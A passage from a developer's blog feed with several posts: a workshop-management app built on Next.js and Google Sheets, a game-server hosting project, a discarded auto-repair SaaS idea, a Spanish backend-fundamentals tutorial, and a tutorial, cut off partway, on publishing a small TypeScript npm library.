<p>Todo lo que fui agregando responde a un problema real que alguien ya tenía:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766148676397/4786efce-1f3b-49f8-bdb7-12f534752e2a.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>Gestión de inventario y stock</p>
</li>
<li><p>Control de márgenes reales (no “más o menos”)</p>
</li>
<li><p>Órdenes con repuestos y mano de obra separados</p>
</li>
<li><p>Seguimiento público para el cliente</p>
</li>
<li><p>Reportes simples de rentabilidad</p>
</li>
<li><p>Alertas de stock bajo</p>
</li>
<li><p>Multiusuario con permisos</p>
</li>
<li><p>WhatsApp automático para avisos</p>
</li>
</ul>
<p>Nada está ahí “porque queda bien en la landing”.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766148819438/cf6d8e3b-670d-43fe-b7bb-422ae27377de.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-decisiones-tecnicas-conscientes-y-sin-verguenza">Decisiones técnicas conscientes (y sin vergüenza)</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766148710515/0d7c3fbb-563b-4fd4-aab3-53021a1a0f89.png" alt class="image--center mx-auto" /></p>
<p>Tallercito está hecho con <strong>Next.js + Google Sheets</strong>.</p>
<p>Sí, Google Sheets.</p>
<p>Y es totalmente intencional.</p>
<p>A nivel código, el sistema está preparado para:</p>
<ul>
<li><p>migrar a Postgres</p>
</li>
<li><p>agregar autenticación completa</p>
</li>
<li><p>escalar la arquitectura</p>
</li>
</ul>
<p>Pero no veo sentido en hacer todo eso <strong>antes de validar la idea</strong>.</p>
<p>Primero quiero que:</p>
<ul>
<li><p>lo usen</p>
</li>
<li><p>les sirva</p>
</li>
<li><p>estén dispuestos a pagar por ello</p>
</li>
</ul>
<p>Después, recién después, vendrá la infraestructura “enterprise”.</p>
<p>Optimizar antes de validar suele ser una forma elegante de perder tiempo.</p>
<h2 id="heading-qa-real-feedback-real">QA real, feedback real</h2>
<p>Algo que valoro mucho de este proceso es que <strong>no lo probé solo yo</strong>.</p>
<p>Amigos técnicos y no técnicos me ayudaron a testear:</p>
<ul>
<li><p>flujos</p>
</li>
<li><p>textos</p>
</li>
<li><p>pantallas</p>
</li>
<li><p>cosas que “no se entienden”</p>
</li>
<li><p>cosas que sobran</p>
</li>
</ul>
<p>El feedback fue muy bueno y, sobre todo, muy honesto.<br />A todos ellos: <strong>gracias</strong>.</p>
<h2 id="heading-en-que-esta-tallercito-hoy">¿En qué está Tallercito hoy?</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766149004936/77f95df7-8d00-4fc3-8fd5-ae2c141e3307.png" alt class="image--center mx-auto" /></p>
<p>Tallercito es un producto funcional, simple y enfocado.<br />Apunta a talleres que quieren ordenarse sin pagar un ERP de USD 300 por mes ni vivir dentro de Excel.</p>
<p>El objetivo es claro:<br /><strong>menos tiempo gestionando, más tiempo trabajando.</strong></p>
]]></content:encoded></item><item><title><![CDATA[SaaS: A Radical Change]]></title><description><![CDATA[After discarding some individual ideas, two friends and I decided to take a different step: we started building Mainhost, a subscription-based hosting service for Minecraft, TeamSpeak, and other platforms we’re still evaluating.
But this time, the go...]]></description><link>https://blog.brahianpdev.com/saas-a-radical-change</link><guid isPermaLink="true">https://blog.brahianpdev.com/saas-a-radical-change</guid><dc:creator><![CDATA[Brahian Pereyra]]></dc:creator><pubDate>Sat, 26 Apr 2025 20:20:36 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/-5fbmfaInwg/upload/3512f14cfa974bb7efbb30d196ac7461.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>After discarding some individual ideas, two friends and I decided to take a different step: we started building <strong>Mainhost</strong>, a subscription-based hosting service for <strong>Minecraft</strong>, <strong>TeamSpeak</strong>, and other platforms we’re still evaluating.</p>
<p>But this time, the goal wasn’t just to launch something quickly. We wanted to <strong>truly learn</strong>—facing real challenges in architecture, automation, and scalability, as if we were building for production from day one.</p>
<p>We started from scratch. We met on <strong>Discord</strong>, opened up <strong>Excalidraw</strong>, and began designing how everything should work: user flows, server creation processes, resource management, potential failure points. Every technical decision raised new questions we had to solve.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745698690283/ed52bab7-dcad-45eb-b712-b52caa1cd127.png?w=1600&amp;h=840&amp;fit=crop&amp;crop=entropy&amp;auto=compress,format&amp;format=webp" alt="SaaS: A Radical Change" /></p>
<p><em>Diagram versión 0.1.1</em></p>
<p>Initially, we thought about using <strong>Proxmox</strong> to manage the infrastructure. But as we dug deeper into the flexibility and automation we needed, we shifted toward using the <strong>Docker Client API</strong>. That decision pushed us to learn how to dynamically create containers, manage persistent storage, isolate networks, and ensure stability for each customer’s server.</p>
<p>Along the way, we organized our tasks with GitHub Issues and documented every important decision. Even though we know formal processes like RFCs and ADRs, we chose to move fast, iterating with every step and leaving space to learn from our mistakes.</p>
<p>Beyond the technical challenges, the project is also pushing us to grow as a team: discussing ideas, defending our approaches, giving ground, and improving together.</p>
<p>We’re convinced that the only real way to grow as engineers is by <strong>learning through building</strong>, facing real problems, and finding creative solutions.</p>
<p><strong>Not building for the sake of building. Not learning because we have to. Learning for the sake of learning.</strong></p>
<p>That’s what Mainhost is today. And that’s what makes every step worth it.</p>
]]></content:encoded></item><item><title><![CDATA[The original idea: Discarded]]></title><description><![CDATA[💡 The Business Idea
A few weeks ago, I started exploring a very specific problem: building a simple management tool for small auto repair shops. The inspiration was personal—my brother runs one, and I’ve seen how many operational tasks are still han...]]></description><link>https://blog.brahianpdev.com/the-original-idea-discarded</link><guid isPermaLink="true">https://blog.brahianpdev.com/the-original-idea-discarded</guid><dc:creator><![CDATA[Brahian Pereyra]]></dc:creator><pubDate>Sat, 12 Apr 2025 23:53:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/1_CMoFsPfso/upload/fe5a90782b4929c91530ded89ad9fef6.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-the-business-idea">💡 The Business Idea</h2>
<p>A few weeks ago, I started exploring a very specific problem: building a simple management tool for small auto repair shops. The inspiration was personal—my brother runs one, and I’ve seen how many operational tasks are still handled with pen and paper, WhatsApp messages, and a lot of back-and-forth with customers.</p>
<p>The goal was to build a lightweight web app that would allow:</p>
<ul>
<li><p><strong>Admins</strong> (mechanics or shop owners) to register customers and their vehicles.</p>
</li>
<li><p>Update the <strong>vehicle status</strong> (diagnosis, in repair, ready for pickup).</p>
</li>
<li><p>Generate a <strong>final receipt</strong> with repair details.</p>
</li>
<li><p>Let <strong>customers</strong> log in and view their vehicle’s status in real time—no need to call or text.</p>
</li>
</ul>
<p>A simple, niche-focused tool with clear value for small workshops.</p>
<hr />
<h2 id="heading-early-validation">📊 Early Validation</h2>
<p>The idea looked promising. I even sketched out the core user flows and technical sequences.</p>
<h3 id="heading-flowchart">Flowchart</h3>
<pre><code class="lang-mermaid">flowchart LR
    Start[Start] --&gt; Login[Log in] --&gt; RoleCheck{User Role?}
    RoleCheck --&gt;|Admin| AdminDash[Admin Dashboard]
    RoleCheck --&gt;|Customer| ClientDash[Customer Dashboard]

    AdminDash --&gt; AddClient[Register Customer] --&gt; AddVehicle[Add Vehicle] --&gt; UpdateStatus[Update Status]
    UpdateStatus --&gt;|Diagnosis| Status1[Diagnosis]
    UpdateStatus --&gt;|Repair| Status2[In Repair]
    UpdateStatus --&gt;|Completed| Status3[Ready for Pickup] --&gt; Notify[Notify Customer] --&gt; Receipt[Generate Receipt]

    ClientDash --&gt; ViewMyCars[View My Vehicles] --&gt; CurrentStatus[Check Status] --&gt; ViewReceipt[View Receipt]
</code></pre>
<h2 id="heading-why-i-discarded-it">📉 Why I Discarded It</h2>
<p>Although the idea solved a real (and personal) pain point, further research revealed:</p>
<ul>
<li><p>The <strong>market exists</strong>, but it's <strong>small</strong> and <strong>highly fragmented</strong>.</p>
</li>
<li><p>There are already several solutions out there (<em>CarPower</em>, <em>ServitechApp</em>, <em>WinMoto</em>), although many are outdated or aimed at mid-sized businesses.</p>
</li>
<li><p>Market <strong>growth is slow</strong>. There's interest, but not at a scale where a solo dev can launch a successful SaaS without major sales or distribution backing.</p>
</li>
<li><p>Most importantly: I couldn’t find strong <strong>active demand</strong>. No one on forums, Reddit, or Google seemed to be urgently searching for this kind of solution.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744501710458/49845fd7-18c6-4709-b654-d13dceb4a215.png" alt class="image--center mx-auto" /></p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Key Question</td><td>Result</td></tr>
</thead>
<tbody>
<tr>
<td>Is this a problem I see daily?</td><td>✅ Yes</td></tr>
<tr>
<td>Can I build it and stand out in the market?</td><td>⚠️ Unclear</td></tr>
<tr>
<td>Can I ship a landing page + waitlist easily?</td><td>✅ Yes</td></tr>
<tr>
<td>Is there clear demand without existing users?</td><td>❌ No</td></tr>
</tbody>
</table>
</div><p>And from there, the decision became obvious.</p>
<h2 id="heading-what-i-learned-by-throwing-it-out">🗑️ What I Learned by Throwing It Out</h2>
<ol>
<li><p><strong>Validating early</strong> saved me weeks (or months) of building.</p>
</li>
<li><p>Not every real problem is a <strong>scalable business opportunity</strong>.</p>
</li>
<li><p>Just because something would help one person doesn’t mean it’s <strong>sellable</strong>.</p>
</li>
<li><p><strong>Killing an idea fast is still progress.</strong></p>
</li>
</ol>
<h2 id="heading-whats-next">🧭 What’s Next?</h2>
<p>Back to square one. Now I’m searching for a problem that:</p>
<ul>
<li><p>Has active search traffic and discussion online.</p>
</li>
<li><p>Shows signs of people struggling to solve it already.</p>
</li>
<li><p>Can be addressed with a small MVP and tested with real feedback.</p>
</li>
</ul>
<p>The next idea won’t be perfect either—but at least it’ll be more informed.</p>
]]></content:encoded></item><item><title><![CDATA[Las bases del desarrollo Backend]]></title><description><![CDATA[El objetivo de este curso es fomentar las buenas prácticas de desarrollo backend mediante unas bases sólidas necesarias previas a codificar. Comenzaremos por un breve repaso de temas como: Protocolo HTTP, Arquitectura de Software (Layered vs Modular)...]]></description><link>https://blog.brahianpdev.com/las-bases-del-desarrollo-backend</link><guid isPermaLink="true">https://blog.brahianpdev.com/las-bases-del-desarrollo-backend</guid><category><![CDATA[backend]]></category><category><![CDATA[good practices]]></category><category><![CDATA[http]]></category><category><![CDATA[internet]]></category><category><![CDATA[basics]]></category><dc:creator><![CDATA[Brahian Pereyra]]></dc:creator><pubDate>Sun, 18 Jun 2023 02:25:02 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/PhYq704ffdA/upload/117ee551fc1985fa2171d5e4581784f6.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>El objetivo de este curso es fomentar las buenas prácticas de desarrollo backend mediante unas bases sólidas necesarias previas a codificar. Comenzaremos por un breve repaso de temas como: Protocolo HTTP, Arquitectura de Software <em>(Layered vs Modular)</em>, Diagramas de flujo, de entidad relación, el concepto de DTO <em>(Data Transfer Object)</em> y, por último, la implementación a nivel código de todos estos conceptos.</p>
<p><strong>Importante:</strong> Los conceptos se explicaran primero mediante una analogia con fin de que aquellas personas interesadas en la rama de desarrollo backend tengan un acercamiento totalmente amigable. Finalizando con una breve explicacion tecnica para que las mismas, se adecuen a un lenguaje mas formalizado.</p>
<h3 id="heading-protocolo-http">Protocolo HTTP</h3>
<p>Imagina que estás en un restaurante y quieres pedir algo de comida. Tú eres el cliente y el restaurante es el servidor web. Quieres hacer un pedido y recibir la comida en respuesta.</p>
<p>Cuando quieres hacer un pedido, levantas la mano y llamas la atención del mesero. Esto sería como enviar una solicitud HTTP al servidor web.</p>
<p>Luego, le dices al mesero lo que quieres comer. Puedes pedir una hamburguesa, una ensalada o cualquier otra cosa. Esta es tu solicitud específica al servidor web.</p>
<p>El mesero lleva tu pedido a la cocina y espera a que los chefs preparen la comida. La cocina es como el servidor web que procesa tu solicitud y obtiene la información o realiza la acción solicitada.</p>
<p>Finalmente, el mesero regresa con tu comida y te la entrega. Esto es como la respuesta del servidor web que envía la información solicitada de vuelta a tu dispositivo para que puedas verla en tu navegador.</p>
<p>En resumen, HTTP es como pedir comida en un restaurante. Haces una solicitud al servidor web <em>(levantando la mano)</em>, le dices lo que quieres <em>(tu pedido)</em> y el servidor procesa tu solicitud y te envía la respuesta (la comida) de vuelta.</p>
<p>Siendo un poco mas técnicos, podemos decir que <strong>el</strong> <strong>protocolo HTTP es un conjunto de reglas que define cómo los dispositivos de la web se comunican entre sí</strong>. Permite que los clientes <em>(como los navegadores web</em>) soliciten recursos y que los servidores web les respondan con la información solicitada. Ademas, este protocolo <em>(o Protocolo de Transferencia de Hipertexto en español)</em> es parte de un conjunto de cosas que hace posible que se pueda navegar en internet.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687051920440/7d80827c-b977-4624-a6cd-1cfa763f3edb.png" alt class="image--center mx-auto" /></p>
<p>Continuando con la analogia del restaurante, los métodos HTTP serían como las diferentes formas en las que puedes interactuar con el personal del lugar para solicitar lo que necesitas. <strong>Cada método correspondería a una acción específica</strong>. Por ejemplo, podrías usar un método para pedir un plato nuevo <em>(agregar información)</em>, otro método para solicitar la cuenta <em>(obtener información)</em>, o incluso un método para hacer una reserva en el restaurante <em>(realizar una acción)</em>. De esta manera, los métodos HTTP son como las opciones que tienes para comunicarte y realizar acciones en el mundo digital de la web, al igual que en un restaurante interactúas con el personal utilizando diferentes enfoques según tus necesidades.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687052198786/441e097b-6bec-44db-b6ab-e4b3803a9e32.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-arquitectura-de-software-layered-vs-modular">Arquitectura de Software (Layered vs Modular)</h3>
<p>Imaginemos que estás diseñando un restaurante y te encuentras frente a dos opciones para organizar su estructura: la arquitectura en capas y la arquitectura modular.</p>
<p>La arquitectura en capas sería como dividir el restaurante en diferentes áreas bien definidas, como la cocina, el comedor y el área de servicio. Cada área tiene funciones específicas y se encarga de tareas particulares. Por ejemplo, en la cocina se preparan los alimentos, en el comedor se atiende a los clientes y en el área de servicio se realizan labores de limpieza y mantenimiento. Esta división en capas permite una clara separación de responsabilidades y facilita la gestión de cada área de forma individual.</p>
<p>Por otro lado, la arquitectura modular sería como diseñar el restaurante con módulos independientes y reutilizables. Cada módulo puede ser una sección del restaurante, como un bar, un salón privado o una terraza. Estos módulos se pueden combinar y adaptar de manera flexible según las necesidades del restaurante. Por ejemplo, puedes agregar o quitar salones privados según la demanda o cambiar la ubicación del bar sin afectar el resto del restaurante. La arquitectura modular permite una mayor flexibilidad y adaptabilidad en el diseño del restaurante.</p>
<p>En resumen, al igual que en la arquitectura de software, en el diseño de un restaurante puedes optar por una estructura en capas para una separación clara de funciones o por una estructura modular para una mayor flexibilidad y adaptabilidad. La elección depende de los objetivos y necesidades específicas del restaurante que estés creando.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687052410300/d452e8df-639d-43ce-bed0-522b82e307eb.png" alt class="image--center mx-auto" /></p>
<p><em>Este mapa conceptual, es aplicable a ambas arquitecturas</em></p>
<pre><code class="lang-plaintext">Layered Architecture (4)

src
│   index.ts        # App entry point
└───controllers     # route controllers for all the endpoints of the app
└───config          # Environment variables and configuration related stuff
└───models          # Database models
└───repositories    # Custom queries to database
└───services        # All the business logic is here
└───routes          # Express.js entry points to controllers
</code></pre>
<pre><code class="lang-plaintext">Modular Architecture

src
│   index.ts        # App entry point
└── config      
└── products 
        └── controller
        └── service
        └── model
        └── repository
        └── route
</code></pre>
<p>Ver el articulo de <a target="_blank" href="https://brahian.hashnode.dev/stairway-to-heaven-saliendo-de-folder-hell">Stairway to Heaven: Saliendo de Folder Hell</a>.</p>
<p>Continuando con nuestra analogia del restaurante, imaginemos que debemos crear una solucion para mejorar un proceso que hasta el momento se registraba de forma manual a papel, sustituyendolo por un sistema efectivo. Para comenzar, partiremos desarrollando una accion basica que se vive diariamente en el local: <strong>El pedido del cliente</strong>. Tambien, lo registraremos como plus.</p>
<p><em>Esto es a modo de ejemplo, para un proyecto real, se debe ser mas cuidadoso.</em></p>
<p>Para comenzar, tenemos dos opciones: <strong>codear desde el momento cero</strong>, o aun mejor, <strong>partir desde un diagrama que nos servira para sentar las bases de como sera la logica</strong> <strong>de negocios</strong> posteriormente en nuestro codigo.</p>
<h3 id="heading-diagrama-de-flujo">Diagrama de flujo</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687053479616/2889c220-100f-4e46-a0e0-b6a58544bb3f.jpeg" alt class="image--center mx-auto" /></p>
<p>Tener un diagrama de flujo, nos permite visualizar como se comportara nuestro restaurante ante dos situaciones, registrar un cliente en nuestra base de datos, o en el momento que dicho cliente solicita un plato. A simple vista, estamos viendo dos <em>"cosas"</em> notablemente distintas: un <strong>cliente</strong>, un <strong>plato</strong>. Y una tercera que no esta tan a la vista, pero es la razon para que las dos anteriores sean posibles, el <strong>restaurante</strong>.</p>
<p>A estas cosas, se les conoce como <strong>Entidad</strong>, las cuales son utilizadas para modelar y representar estos elementos del mundo real en el código. Por ejemplo, si estás desarrollando una aplicación de gestión de usuarios, podrías tener una entidad llamada "Usuario" que contendría atributos como nombre, dirección de correo electrónico, contraseña, etc.</p>
<h3 id="heading-diagrama-entidad-relacion">Diagrama entidad relación</h3>
<p>Una vez se definen las entidades de nuestro negocio, se pasa a crear un <strong>diagrama de entidad relación</strong>. Este, permitira conocer como se relaciona una entidad con otras.</p>
<pre><code class="lang-plaintext">     +---------------------+        +------------------+
     |     Restaurante     |        |      Cliente     |
     +---------------------+        +------------------+
     |      restaurante_id |&lt;------o|    cliente_id    |
     |        nombre       |        |      nombre      |
     |      direccion      |        |     direccion    |
     +---------------------+        +------------------+
                 |                            |
                 |                            |
                 |                            |
          +------+------+                     
          |    Platos   |
          +-------------+
          |   plato_id  |
          |   nombre    |
          |   precio    |
          +-------------+
                 |
                 |
          +------+------+
          |   Pedido    |
          +-------------+
          |  pedido_id  |
          |  cliente_id |
          |  plato_id   |
          +-------------+
</code></pre>
<p>En un principio, si observamos nuestro diagrama de flujo, no vemos la entidad "pedido" sin embargo, es comun crear una tabla extra, para poder relacionar una entidad con otra en caso de no existir relacion directa. En este caso, un cliente realiza un pedido, en el pedido puede tener x plato.</p>
<p><em>Una entidad, a nivel base de datos, se representa en una tabla.</em></p>
<p>Por ultimo, recordar que dichas entidades jamas se exponen directamente a la capa de presentación, en su lugar, de cara al cliente se utiliza un objeto de transferencia de datos... Lo que permite cierta flexibilidad, entre otras bondades.</p>
<h3 id="heading-data-transfer-object">Data Transfer Object</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687054632171/dd9a285a-f903-4fcc-b937-73414c9f624f.png" alt class="image--center mx-auto" /></p>
<p>Imaginemos que estás en un restaurante como cliente y deseas realizar un pedido para llevar. Te comunicas con el personal del restaurante y les das los detalles de tu pedido, como los platos y las cantidades requeridas. Ahora, el personal necesita transmitir esa información al equipo de cocina de una manera clara y estructurada para que puedan preparar tu pedido correctamente.</p>
<p>Aquí es donde entra en juego el concepto de DTO (Data Transfer Object). Podemos considerar el DTO como una bandeja o bandeja de pedidos que recopila y transporta la información necesaria desde el cliente hasta el equipo de cocina del restaurante. En este caso, el DTO sería una representación estructurada y simplificada de tu pedido, que contiene los detalles necesarios como los nombres de los platos y las cantidades requeridas.</p>
<p>El DTO actúa como un contenedor de datos que permite transferir información de forma eficiente y coherente entre diferentes componentes o capas de la aplicación, como la capa de presentación y la capa de servicios. En lugar de enviar todos los detalles del objeto original, se utiliza un DTO para transmitir solo la información necesaria y relevante para una operación específica.</p>
<p>En resumen, un DTO en el contexto de un restaurante sería como una bandeja o bandeja de pedidos que contiene una representación estructurada y simplificada de la información necesaria para transmitir un pedido desde el cliente al equipo de cocina. Del mismo modo, en el desarrollo de software, un DTO es un contenedor de datos utilizado para transferir información de forma eficiente entre diferentes componentes o capas de una aplicación.</p>
<p><strong>En el proximo articulo</strong>, se aplicaran todos estos conceptos de forma practica en SpringBoot, creandolo desde 0 con Sprint Initializr con las dependencias necesarias, instalacion de dependencias extras como ModelMapper para facilitar el uso de DTO's, asi como la configuracion correcta de nuestra base de datos mediante un archivo de extension YML, testeando nuestra implementacion con MySQL Workbench, Postman, y haciendo uso de scripts SQL para cargar datos.</p>
<h3 id="heading-despedida"><strong>Despedida</strong></h3>
<p>Espero se hayan entretenido, les guste y estén esperando el próximo.</p>
]]></content:encoded></item><item><title><![CDATA[Creando una libreria para NodeJS]]></title><description><![CDATA[Muchas veces nos encontramos resolviendo lo mismo, de la misma forma, en cada nuevo proyecto que enfrentamos. Algunas veces son simples objetos de configuracion para no exponer credenciales sensibles, u otras, como este caso, un objeto de mensajes cu...]]></description><link>https://blog.brahianpdev.com/creando-una-libreria-para-nodejs</link><guid isPermaLink="true">https://blog.brahianpdev.com/creando-una-libreria-para-nodejs</guid><category><![CDATA[Node.js]]></category><category><![CDATA[npm]]></category><category><![CDATA[library]]></category><category><![CDATA[Tutorial]]></category><dc:creator><![CDATA[Brahian Pereyra]]></dc:creator><pubDate>Sat, 17 Dec 2022 23:02:36 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1671309845162/8z9q6Sk2x.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Muchas veces nos encontramos resolviendo lo mismo, de la misma forma, en cada nuevo proyecto que enfrentamos. Algunas veces son simples objetos de configuracion para no exponer credenciales sensibles, u otras, como este caso, un objeto de mensajes customizados para las respuestas HTTP.</p>
<h3 id="heading-requisitos">Requisitos</h3>
<ul>
<li><p>Cuenta en <a target="_blank" href="https://github.com/">github</a></p>
</li>
<li><p>Cuenta en <a target="_blank" href="https://www.npmjs.com/">npm</a></p>
</li>
<li><p><a target="_blank" href="https://nodejs.org/en/">Node</a> v18.12.0 o superior</p>
</li>
</ul>
<p>Lo primero que vamos a realizar, es dicha libreria, que no es mas que un proyecto de Node el cual posteriormente se subira al gestor de paquetes anteriormente mencionado (npm).</p>
<h3 id="heading-comenzando-a-codear">Comenzando a codear</h3>
<p>Creamos un proyecto de <strong>Node</strong> ejecutando <code>npm init -y</code> en la carpeta que desees <em>(si es una carpeta vacia, mejor),</em> y pasamos a definir nuestra estructura de archivos y carpetas.</p>
<pre><code class="lang-plaintext">-📁src - index.ts
       - 📁 interfaces
       - 📁 messages
- .eslintrc.json
- .gitignore
- .prettierrc
- nodemon.json
- package-lock.json
- package.json
- tsconfig.json
</code></pre>
<p><em>En este punto, solo tendremos un codigo en los archivos de package que se han generado automaticamente al ejecutar el comando anterior.</em></p>
<h3 id="heading-instalacion-de-depencencias">Instalacion de depencencias</h3>
<p>Para instalar todas las dependencias necesarias, ejecute los siguiendes comandos.</p>
<pre><code class="lang-plaintext">npm install ts-node
npm install --save-dev rimraf
npm install --save-dev nodemon
npm install --save-dev typescript
npm install --save-dev @types/node
</code></pre>
<h3 id="heading-configuraciones">Configuraciones</h3>
<p>En esta seccion nos centraremos principalmente en las configuraciones necesarias del proyecto para que trabaje con <code>types</code> de <strong>Typescript</strong> de forma correcta. Y ademas, podamos hacer cambio sin necesidad de reiniciar la aplicación.</p>
<p>En nuestro <strong>package.json</strong></p>
<pre><code class="lang-plaintext">{
  "main": "build/index.js",
  "scripts": {
    "build": "rimraf ./build &amp;&amp; tsc",
    "dev": "nodemon",
    "start": "npm run build &amp;&amp; node build/index.js"
  },
}
</code></pre>
<p>En nuestro <strong>tsconfig.json</strong></p>
<pre><code class="lang-plaintext">{
  "compilerOptions": {
    "skipLibCheck": true,
    "target": "es6",
    "module": "commonjs",
    "moduleResolution": "node",
    "allowJs": true,
    "resolveJsonModule": true,
    "esModuleInterop": true,
    "outDir": "./build",
    "rootDir": "src",
    "types": ["node"]
  },
  "include": ["src/**/*"],
  "exclude": ["node_modules"],
}
</code></pre>
<p>En nuestro <strong>nodemon.json</strong></p>
<pre><code class="lang-plaintext">{
    "watch": [
        "src"
    ],
    "ext": ".ts,.js",
    "ignore": [],
    "exec": "ts-node --files ./src/index.ts"
}
</code></pre>
<p>En nuestro <strong>.eslintrc.json</strong></p>
<pre><code class="lang-plaintext">{
    "extends": [
        "eslint:recommended",
        "plugin:@typescript-eslint/recommended",
        "prettier"
    ],
    "parser": "@typescript-eslint/parser",
    "plugins": [
        "@typescript-eslint",
        "prettier"
    ],
    "env": {
        "node": true,
        "es2021": true
    },
    "parserOptions": {
        "ecmaVersion": 2021,
        "sourceType": "module"
    },
    "rules": {
        "arrow-spacing": [
            "warn",
            {
                "before": true,
                "after": true
            }
        ],
        "comma-dangle": [
            "error",
            "always-multiline"
        ],
        "comma-spacing": "error",
        "comma-style": "error",
        "dot-location": [
            "error",
            "property"
        ],
        "handle-callback-err": "off",
        "indent": [
            "off",
            "tab"
        ],
        "keyword-spacing": "error",
        "max-nested-callbacks": [
            "error",
            {
                "max": 4
            }
        ],
        "max-statements-per-line": [
            "error",
            {
                "max": 2
            }
        ],
        "no-console": "off",
        "no-empty-function": "error",
        "no-floating-decimal": "error",
        "no-inline-comments": "error",
        "no-lonely-if": "error",
        "no-multi-spaces": "error",
        "no-multiple-empty-lines": [
            "error",
            {
                "max": 2,
                "maxEOF": 1,
                "maxBOF": 0
            }
        ],
        "no-shadow": [
            "error",
            {
                "allow": [
                    "err",
                    "resolve",
                    "reject"
                ]
            }
        ],
        "no-trailing-spaces": [
            "error"
        ],
        "no-var": "error",
        "object-curly-spacing": [
            "error",
            "always"
        ],
        "prefer-const": "error",
        "semi": [
            "error",
            "always"
        ],
        "space-before-blocks": "error",
        "space-before-function-paren": [
            "error",
            {
                "anonymous": "never",
                "named": "never",
                "asyncArrow": "always"
            }
        ],
        "space-in-parens": "error",
        "space-infix-ops": "error",
        "space-unary-ops": "error",
        "spaced-comment": "error",
        "yoda": "error",
        "@typescript-eslint/explicit-module-boundary-types": "off"
    }
}
</code></pre>
<p>En nuestro <strong>.prettierrc</strong></p>
<pre><code class="lang-plaintext">{
    "parser": "typescript",
    "printWidth": 120,
    "singleQuote": true,
    "trailingComma": "all",
    "useTabs": true
}
</code></pre>
<p>Y hemos finalizado nuestras excesivas configuraciones, que si bien, no son del todo necesarias <em>por ahora</em>.</p>
<h3 id="heading-la-logica-de-nuestra-aplicacion">La logica de nuestra aplicación</h3>
<p>En esta mini sección, definiremos el codigo que ira dentro de la carpeta <strong>src</strong> y subyacentes, siguiendo el mismo formato de la sección anterior.</p>
<p>En nuestro <strong>index.ts</strong></p>
<pre><code class="lang-plaintext">import { SimpsonResponse } from './messages/simpson-response.message';

export default SimpsonResponse;
</code></pre>
<p>Dentro de la carpeta <strong>messages</strong>, en nuestro archivo <strong>simpson-response.message.ts</strong></p>
<pre><code class="lang-plaintext">import { ISimpsonResponse } from '../interfaces/simpson-response.interface';

export const SimpsonResponse: ISimpsonResponse = {
    OK: {
        url: 'https://res.cloudinary.com/dzxzhwcjv/image/upload/v1669169546/thesimpsons/200_xjzaks.png',
        code: 200,
        message: 'OK',
    },
    MOVED_PERMANENTLY: {
        url: 'https://res.cloudinary.com/dzxzhwcjv/image/upload/v1669169546/thesimpsons/301_uk0qah.png',
        code: 301,
        message: 'Moved Permanently',
    },
    UNAUTHORIZED: {
        url: 'https://res.cloudinary.com/dzxzhwcjv/image/upload/v1669169546/thesimpsons/401_pbvzql.png',
        code: 401,
        message: 'Unauthorized',
    },
    FORBIDDEN: {
        url: 'https://res.cloudinary.com/dzxzhwcjv/image/upload/v1669169546/thesimpsons/403_w7pk5n.png',
        code: 403,
        message: 'Forbidden',
    },
    NOT_FOUND: {
        url: 'https://res.cloudinary.com/dzxzhwcjv/image/upload/v1669169546/thesimpsons/404_bzafrw.png',
        code: 404,
        message: 'Not Found',
    },
    INTERNAL_SERVER_ERROR: {
        url: 'https://res.cloudinary.com/dzxzhwcjv/image/upload/v1669169546/thesimpsons/500_gomppl.png',
        code: 500,
        message: 'Internal Server Error',
    },
};
</code></pre>
<p>De esta forma, estamos creando un objeto custom con sus respectivas imagenes para algunos de los <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status">codigos de respuesta HTTP</a> más comunes. Dichas imagenes, se alojan en un tier gratuito de Cloudinary.</p>
<p>Dentro de la carpeta <strong>interfaces</strong> en nuestro archivo <strong>message.interface.ts</strong></p>
<pre><code class="lang-plaintext">export interface IMessage {
    url: string;
    code: number;
    message: string;
}
</code></pre>
<p>Dentro de la carpeta <strong>interfaces</strong> en nuestro archivo <strong>simpson-response.interface.ts</strong></p>
<pre><code class="lang-plaintext">import { IMessage } from './message.interface';

export interface ISimpsonResponse {
    [key: string]: IMessage;
}
</code></pre>
<p>Y hemos finalizado una mini libreria de NodeJs con exito! 🔥 😎 Pero, <strong>¿Cómo la publicamos al gestor de paquetes de Node, y ademas, como hacemos uso de ella?</strong></p>
<h3 id="heading-subiendo-nuestro-codigo-a-git">Subiendo nuestro codigo a git</h3>
<p>Debemos enlazar nuestro repositorio remoto con nuestro repositorio local, pero antes, necesitamos crearlos, de la siguiente forma:</p>
<p>Creamos nuestro repositorio remoto de la siguiente forma:</p>
<ul>
<li><p>Nos dirigimos a github y creamos nuestro repositorio</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1671316989585/Bf5kB62R5.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Damos clic en <strong>Create repository</strong> con la configuracion por defecto.</p>
</li>
</ul>
<p>Creamos nuestro repositorio local de la siguiente forma:</p>
<ul>
<li>Dentro de la carpeta que veniamos trabajando agregando el codigo, ejecutamos:</li>
</ul>
